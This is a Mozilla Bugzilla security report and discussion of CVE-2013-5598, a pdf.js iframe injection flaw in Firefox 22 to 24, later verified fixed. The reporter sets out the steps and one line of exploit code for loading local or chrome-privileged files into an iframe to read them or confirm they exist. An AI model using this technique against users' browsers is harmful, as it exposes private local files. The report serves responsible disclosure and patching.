920515 - (CVE-2013-5598) pdf.js iframe injection allows sites to load local files or even chrome privileged pages into an iframe

Status: VERIFIED FIXED

(Firefox :: PDF Viewer, defect)

Description

[Cody Crews]

Attachment: mapLocalFiles.html

User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 (Beta/Release)
Build ID: 20130814063812

Steps to reproduce:

I created and added an embed element to the document of a page initially setting the src attribute for the embed to 'data:application/pdf,'.  This triggers the pdfjs implementation and begins to load it to preview the plugin.  Immediately after I created an iframe element and appended it as a child of the embed element.  Normally when previewing a pdf as a plugin, an anonymous iframe is created as a child of the embed element, but apparently any iframe that is a child of the embed element will behave as if bound to it for previewing.  At this point all that is required is to change the src attribute of the embed element to whatever file(local or chrome privileged) that you want to load and then change the location of iframe.contentWindow like so:

iframe.contentWindow.location = 'data:application/x-moz-playpreview-pdfjs;,';

This triggers code in PdfRedirector.js that is part of the pdfjs implementation, which checks the src attribute of the embed element and loads it into the frame as if it were a pdf document.


Actual results:

A local file was loaded into the iframe.  Using this technique with canvas to get an image of the page or just trying to access iframe.contentWindow.location.href and catching the error from that, a person could either read the content of local files, or at least confirm their existence.

A few extra notes on this, I think this has been possible since its been possible to load the new pdfjs implementation as a plugin, its confirmed to work all the way up to the newest nightly and a few other dated installs as well.  I just discovered this yesterday, and I spent all the time I could spare trying to find ways to load up a chrome xul document and somehow achieve script injection into it.  I'm sure that it's possible, but I don't have as much time as I've had before to sink into this, and since this is serious enough to have me worried, I went this route this morning.  I really wanted that proper calc poc, and although this is nice its just not the same =/


Expected results:

Since PdfRedirector.js is running with full chrome privileges, it should have a check before loading any data to make sure that the data is expected, and of the right type.  If this is not the case it should cease loading and throw an exception.

Comment 1

[Yury Delendik (:yury)]

Looks like https://bugzilla.mozilla.org/show_bug.cgi?id=914667#c1 will solve this issue as well

Comment 2

[Yury Delendik (:yury)]

Dave, could you review changes to the pdf.js extension at https://github.com/mozilla/pdf.js/pull/3735? If they are sufficient to address this issue as well.

Comment 3

[Dave Townsend [:mossop]]

(In reply to Yury Delendik (:yury) from comment #2)
> Dave, could you review changes to the pdf.js extension at
> https://github.com/mozilla/pdf.js/pull/3735? If they are sufficient to
> address this issue as well.

r=me. Can we get a test for this case?

Comment 4

[Cody Crews]

Can we get this nominated for sec-bounty?  I assumed it already would be ;-)  thanks.

Comment 5

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

:mccr8 made the nom

Comment 6

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

Also there are so many bugs and we can't always track who is a contributor (that might be ineligible for a bounty) and who is not, for this reason we have this ask in the FAQ for bounties:

> Bug reporting
> Once I have found a vulnerability, what next?
> Please file a bug describing the security bug. The security check-box should also be checked when filing > the bug. Further details on the security check-box can be found here.
> We also ask that you notify the Mozilla Security Group by email and include the bug number and a brief 
> summary.

Comment 7

[Cody Crews]

(In reply to Curtis Koenig [:curtisk] from comment #6)
> Also there are so many bugs and we can't always track who is a contributor
> (that might be ineligible for a bounty) and who is not, for this reason we
> have this ask in the FAQ for bounties:
> 
> > Bug reporting
> > Once I have found a vulnerability, what next?
> > Please file a bug describing the security bug. The security check-box should also be checked when filing > the bug. Further details on the security check-box can be found here.
> > We also ask that you notify the Mozilla Security Group by email and include the bug number and a brief 
> > summary.

I apologize for that, and I did know that is the the standard procedure.  Usually I CC bholley and from there the higher powers that be take over lol.  You guys had picked this one up and were already working on it by the time I could toggle the testcase type from text/plain to text/html so I didnt want to step on your toes, sorry all around.

Comment 8

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

codyc, no worries I just wanted to be informative and helpful, this is great work and we're happy to evaluate it for the program. Thanks for working with us.

Comment 10

[Cody Crews]

Thanks guys, this is bug is relates to bug 911864.  I found it while working on that, and there's still more to found in relation to that bug I think too, but maybe not quite like this.

Comment 11

[Cody Crews]

(In reply to codyc from comment #10)
> Thanks guys, this is bug is relates to bug 911864. 

should be this bug relates.

Comment 12

[Alex Keybl [:akeybl]]

Can we get an assignee set on this bug? Unclear who's working on this at this point, and bug 914667 also lacks an assignee.

Comment 13

[Brendan Dahl [:bdahl]]

This should be fixed in nightly by bug 922693. I believe Yury is planning on adding a test and uplifting.

Comment 14

[Yury Delendik (:yury)]

Attachment: Fix for the beta, aurora, m-c (landing with bug 914667)

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Not trivial, the patch also addresses issue created by bug 738967

Do comments in the patch, the check-in comment, or tests included in the patch  paint a bulls-eye on the security problem?
Test for the security will be included later with this bug

Which older supported branches are affected by this flaw?
Since Firefox 22

If not all supported branches, which bug introduced the flaw?
bug 738967

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Approvals for beta and aurora are pending for bug 914667

How likely is this patch to cause regressions; how much testing does it need?
Low risk and limited to the functionality introduced by bug 738967

Comment 15

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 818789 [details] [diff] [review]
Fix for the beta, aurora, m-c (landing with bug 914667)

sec-approval for trunk. I'll approve it for Aurora. I'm not sure if we can take this on Beta at this point in the cycle.

Comment 16

[Al Billings [:abillings - ex-MoCo]]

This affects ESR24 too and we'll need to get it there, at least by the time Firefox 26 ships with the fix.

Comment 17

[Al Billings [:abillings - ex-MoCo]]

I want Release Management input about taking this and bug 914667 on Beta or not (and ESR24).

Comment 18

[Lukas Blakk [:lsblakk] use ?needinfo]

Approved bug 914667 for beta since this seems like a good security win with low risk on landing, we'll need uplift nomination on the patch here for beta, aurora, and esr24

Comment 19

[Alex Keybl [:akeybl]]

Fixed by bug 914667, changing status flag to match

Comment 20

[Al Billings [:abillings - ex-MoCo]]

Setting ESR24 to fixed since bug 914667 fixed ESR24 as well.

Comment 21

[Matt Wobensmith [:mwobensmith][:matt:]]

Confirmed issue on FF27, 2013-09-25.
Verified fixed on 24esr, 25, 26, 27, 2013-10-21.

Let's get a test checked in for this. :)

Comment 22

[David Chan [:dchan]]

Cleaning up list of security bugs for b2g18. This bug doesn't need to be backported either due to it affecting a later version of Fx or another reason.

Comment 23

[Bill Walker [:bwalker] [@wfwalker]]

I believe this issue is now publically discussed in http://www.mozilla.org/security/announce/2013/mfsa2013-99.html, right?

Comment 24

[Al Billings [:abillings - ex-MoCo]]

(In reply to Bill Walker [:bwalker] [@wfwalker] from comment #23)
> I believe this issue is now publically discussed in
> http://www.mozilla.org/security/announce/2013/mfsa2013-99.html, right?

Yes, that's why the link at the bottom of the document comes here. :-) We won't open the bug, itself, for a while though.

Comment 25

[Yury Delendik (:yury)]

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5598 lists extra configurations that not affected by bug 738967. So vulnerable Firefox versions are 22, 23, and 24.